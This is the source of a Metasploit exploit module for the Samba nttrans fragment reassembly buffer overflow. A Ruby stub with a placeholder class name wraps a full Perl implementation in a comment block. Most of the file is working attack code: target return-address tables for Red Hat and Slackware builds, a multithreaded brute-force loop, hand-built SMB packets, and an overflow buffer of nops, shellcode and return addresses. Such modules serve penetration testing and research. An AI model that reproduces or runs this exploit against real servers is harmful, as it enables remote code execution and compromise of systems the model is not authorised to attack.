385 lines
11 KiB
Ruby
385 lines
11 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba Fragment Reassembly Overflow',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.0.0 to 2.2.7a. This particular module is capable of
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exploiting the bug on x86 Linux only. Flatline's sambash
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code was used as a reference for this module.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '6323'],
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[ 'MIL', '52'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'linux',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Jul 27 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::samba_nttrans;
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use base 'Msf::Exploit';
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use strict;
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use Pex::Text;
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my $advanced =
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{
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'BaseAddress' => [0, 'Specify a single base address to try'],
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'StartAddress' => [0, 'Override the target start address'],
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'StopAddress' => [0, 'Override the target stop address'],
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'StepSize' => [0, 'Override the target step size'],
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'DebugExploit' => [0, 'Enable development mode'],
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};
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my $info =
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{
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'Name' => 'Samba Fragment Reassembly Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'linux' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The samba port', 139],
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'THREADS' => [0, 'DATA', 'The number of concurrent attempts', 25],
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'Keys' => ['+findsock'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This exploits the buffer overflow found in Samba versions
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2.0.0 to 2.2.7a. This particular module is capable of
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exploiting the bug on x86 Linux only. Flatline's sambash
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code was used as a reference for this module.
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}),
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'Refs' =>
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[
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['OSVDB', '6323'],
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['MIL', '52'],
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],
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'Targets' =>
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[
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["Samba Complete Brute Force", 0x08300000, 0x08000000, 1600, 0xbfffb8d0, 6200, 50],
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["Samba 2.0 Brute Force", 0x08150000, 0x08100000, 1600, 0xbfffb8d0, 6200, 30],
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["Samba 2.2 Brute Force", 0x08300000, 0x081c0000, 1600, 0xbfffb8d0, 6200, 30],
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["Samba 2.0.6 / Red Hat 6.2", 0x081389c0, 0x08138300, 1600, 0xbfffb8d0, 6200, 1],
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["Samba 2.0.7 / Red Hat 7.0", 0x0814bb40, 0x0814bb40, 1600, 0xbfffb8d0, 6200, 1],
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["Samba 2.2.1 / Red Hat 7.2", 0x081f95c0, 0x081f95c0, 1600, 0xbfffb8d0, 6200, 1],
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["Samba 2.2.5 / Red Hat 8.0", 0x08239e00, 0x08239e00, 1600, 0xbfffb8d0, 6200, 1],
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["Samba 2.2.4 / Slackware 8.1", 0x081e1140, 0x081e1140, 1600, 0xbfffb8d0, 6200, 1],
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],
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'Keys' => ['samba'],
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'DisclosureDate' => 'Jul 27 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Check {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ($s->IsError) {
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$self->PrintLine("[*] Error creating socket: " . $s->GetError);
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return $self->CheckCode('Connect');
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}
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my $x = Pex::SMB->new({ 'Socket' => $s });
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$x->SMBNegotiate();
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if ($x->Error) {
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$self->PrintLine("[*] Error negotiating protocol");
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return $self->CheckCode('Generic');
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}
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$x->SMBSessionSetup();
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if ($x->Error) {
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$self->PrintLine("[*] Error setting up session");
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return $self->CheckCode('Generic');
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}
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my $version = $x->PeerNativeLM();
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$s->Close;
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if (! $version) {
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$self->PrintLine("[*] Could not determine the remote Samba version");
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return $self->CheckCode('Generic');
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}
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$self->PrintDebugLine(1, 'LanMan: '.$version);
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$self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
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if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-6]|2\.2\.7$)/i) {
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$self->PrintLine("[*] Target seems to running vulnerable version: $version");
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return $self->CheckCode('Appears');
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}
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$self->PrintLine("[*] Target does not seem to be vulnerable: $version");
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return $self->CheckCode('Safe');
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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if (! $self->InitNops(128)) {
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$self->PrintLine("[*] Failed to initialize the nop module.");
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return;
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}
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$self->PrintLine("[*] Starting attack against target ".$target->[0]);
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# Advanced option processed
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if ($self->GetVar('BaseAddress')) {
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my $ret = eval($self->GetVar('BaseAddress')) + 0;
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$target->[1] = $target->[2] = $ret;
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}
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if ($self->GetVar('StartAddress')) {
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my $ret = eval($self->GetVar('StartAddress')) + 0;
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$target->[1] = $ret;
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$target->[2] = ($ret > $target->[2]) ? $ret : $target->[2];
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}
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if ($self->GetVar('StopAddress')) {
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my $ret = eval($self->GetVar('StopAddress')) + 0;
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$target->[2] = $ret;
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$target->[1] = ($ret > $target->[1]) ? $target->[2] : $target->[1];
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}
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if ($self->GetVar('StepSize')) {
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$target->[3] = eval($self->GetVar('StepSize')) + 0;
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}
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# Standard option processing
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if ($self->GetVar('THREADS')) {
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$target->[6] = $self->GetVar('THREADS')+0;
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}
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# More than one socket can't share the same source port :(
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if ($self->GetVar('CPORT') && $target->[6] > 1) {
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$self->PrintLine("[*] Socket reuse payloads cannot be used with this target setting");
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$self->PrintLine("[*] You can force this payload by setting the THREAD variable to 1");
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return;
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}
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# Using a array ref to track current target (array would kill us on memory)
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my $tstate = [$target->[1], $target->[2], $target->[3]];
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my $tcount = ($tstate->[0] == $tstate->[1]) ?
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1 : int(($tstate->[0] - $tstate->[1]) / ($tstate->[2]));
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$target->[6] = $tcount < $target->[6] ? $tcount : $target->[6];
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$self->PrintLine("[*] Attack will use ".$target->[6]." threads with $tcount total attempts");
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my ($loopStart, $loopCount, $loopPrint) = (time(), 0, time());
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while ($tstate->[0] >= $tstate->[1] )
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{
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$self->PrintLine("");
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# Display a time estimate, but not too often
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if ($loopCount && $tcount > 1 && time() - $loopPrint > 10) {
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my $loopLeft = int(($tcount - ($loopCount * $target->[6])) / $target->[6]);
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if (time() - $loopStart > 1) {
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my $loopSpeed = $loopCount / (time() - $loopStart);
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my $timeLeft = sprintf("%.1f", int($loopLeft/$loopSpeed)/60);
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$loopPrint = time();
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if ($timeLeft ne '0.0') {
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$self->PrintLine("[*] Brute force should complete in approximately $timeLeft minutes");
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}
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}
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}
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$loopCount++;
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# If one of our connections fails, exit right away
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$self->PrintLine("[*] Establishing ".$target->[6]." connection(s) to the target...");
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my @conns = ();
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for my $idx (1 .. $target->[6])
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{
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ($s->IsError) {
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$self->PrintLine("[*] Error creating socket $idx: " . $s->GetError);
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return;
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}
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$conns[$idx-1] = $s;
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}
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my $ReqSize = 12000;
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my $SetupSession =
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"\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00".
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"\x00\x00";
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my $TreeConnect =
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"\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00".
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"\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e".
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"\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
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my $TransRequest =
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"\x00\x00\x00\x49\xff\x53\x4d\x42\xa0\x00\x00\x00\x00\x08\x01\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
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"\x64\x00\x01\x00\x13\x00\x00\x00".pack('V', $ReqSize)."\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
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$self->PrintLine("[*] --- Setting up the SMB session...");
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foreach my $s (@conns) { $s->Send($SetupSession) }
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$self->PrintLine("[*] --- Establishing tree connection...");
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foreach my $s (@conns) { $s->Send($TreeConnect) }
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$self->PrintLine("[*] --- Sending first nttrans component...");
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foreach my $s (@conns) { $s->Send($TransRequest) }
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my $tgtStart = $tstate->[0];
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foreach my $s (@conns)
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{
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last if $tstate->[0] < $tstate->[1];
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# This logic was based off sambash's code
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my $BaseAddr = $tstate->[0];
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my $StackAddr = $target->[4];
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my $TargAddr = $StackAddr - $BaseAddr;
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my $RetAddr = $StackAddr + $target->[5];
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# TargAddr is the integer that is added to the memcpy desintation
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# pointer that causes it to point to the top of the stack. Since
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# we are brute forcing this number, the buffer sizes below are
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# set to optimize reliability without slowing us down too much.
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my $pattern = Pex::Text::PatternCreate($ReqSize);
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substr($pattern, 0, 1024, $self->MakeNops(1024));
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substr($pattern, 1024, length($shellcode), $shellcode);
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substr($pattern, 2048, $ReqSize-2048, pack('V', $RetAddr) x (($ReqSize - 2048) / 4));
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my $Overflow =
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"\x00\x00\x30\x43\xff\x53\x4d\x42\xa1\x00\x00\x00\x00\x08\x01\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
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|
|
"\x64\x00\x01\x00\x00\x00\x00\x00".
|
||
|
|
pack('V', $ReqSize).
|
||
|
|
"\x00\x00\x00\x00".
|
||
|
|
pack('V', $ReqSize).
|
||
|
|
"\x44\x00\x00\x00".
|
||
|
|
pack('V', $TargAddr).
|
||
|
|
"\x00\x00\x00\x00".
|
||
|
|
"\x00\x00\x00\x00".
|
||
|
|
"\x00\x00\x00\x00".
|
||
|
|
$pattern;
|
||
|
|
|
||
|
|
if ($self->GetVar('DebugExploit')) {
|
||
|
|
print STDERR "[*] Press enter to send overflow string...\n";
|
||
|
|
<STDIN>;
|
||
|
|
}
|
||
|
|
|
||
|
|
# Need to pad this out for the exploit to trigger...
|
||
|
|
$Overflow .= "\x00" x (12359 - length($Overflow));
|
||
|
|
$s->Send($Overflow);
|
||
|
|
|
||
|
|
# Iterate to the next target in the list
|
||
|
|
$tstate->[0] = $tstate->[0] - $tstate->[2];
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->PrintLine(sprintf("[*] --- Completed range 0x%.8x:0x%.8x", $tgtStart, $tstate->[0]));
|
||
|
|
|
||
|
|
foreach my $s (@conns) {
|
||
|
|
if ($s->Socket->connected) {
|
||
|
|
$self->Handler($s);
|
||
|
|
$s->Close();
|
||
|
|
}
|
||
|
|
undef($s);
|
||
|
|
}
|
||
|
|
|
||
|
|
return if $self->GetVar('DebugExploit');
|
||
|
|
}
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
=end
|
||
|
|
|
||
|
|
|
||
|
|
end
|
||
|
|
end
|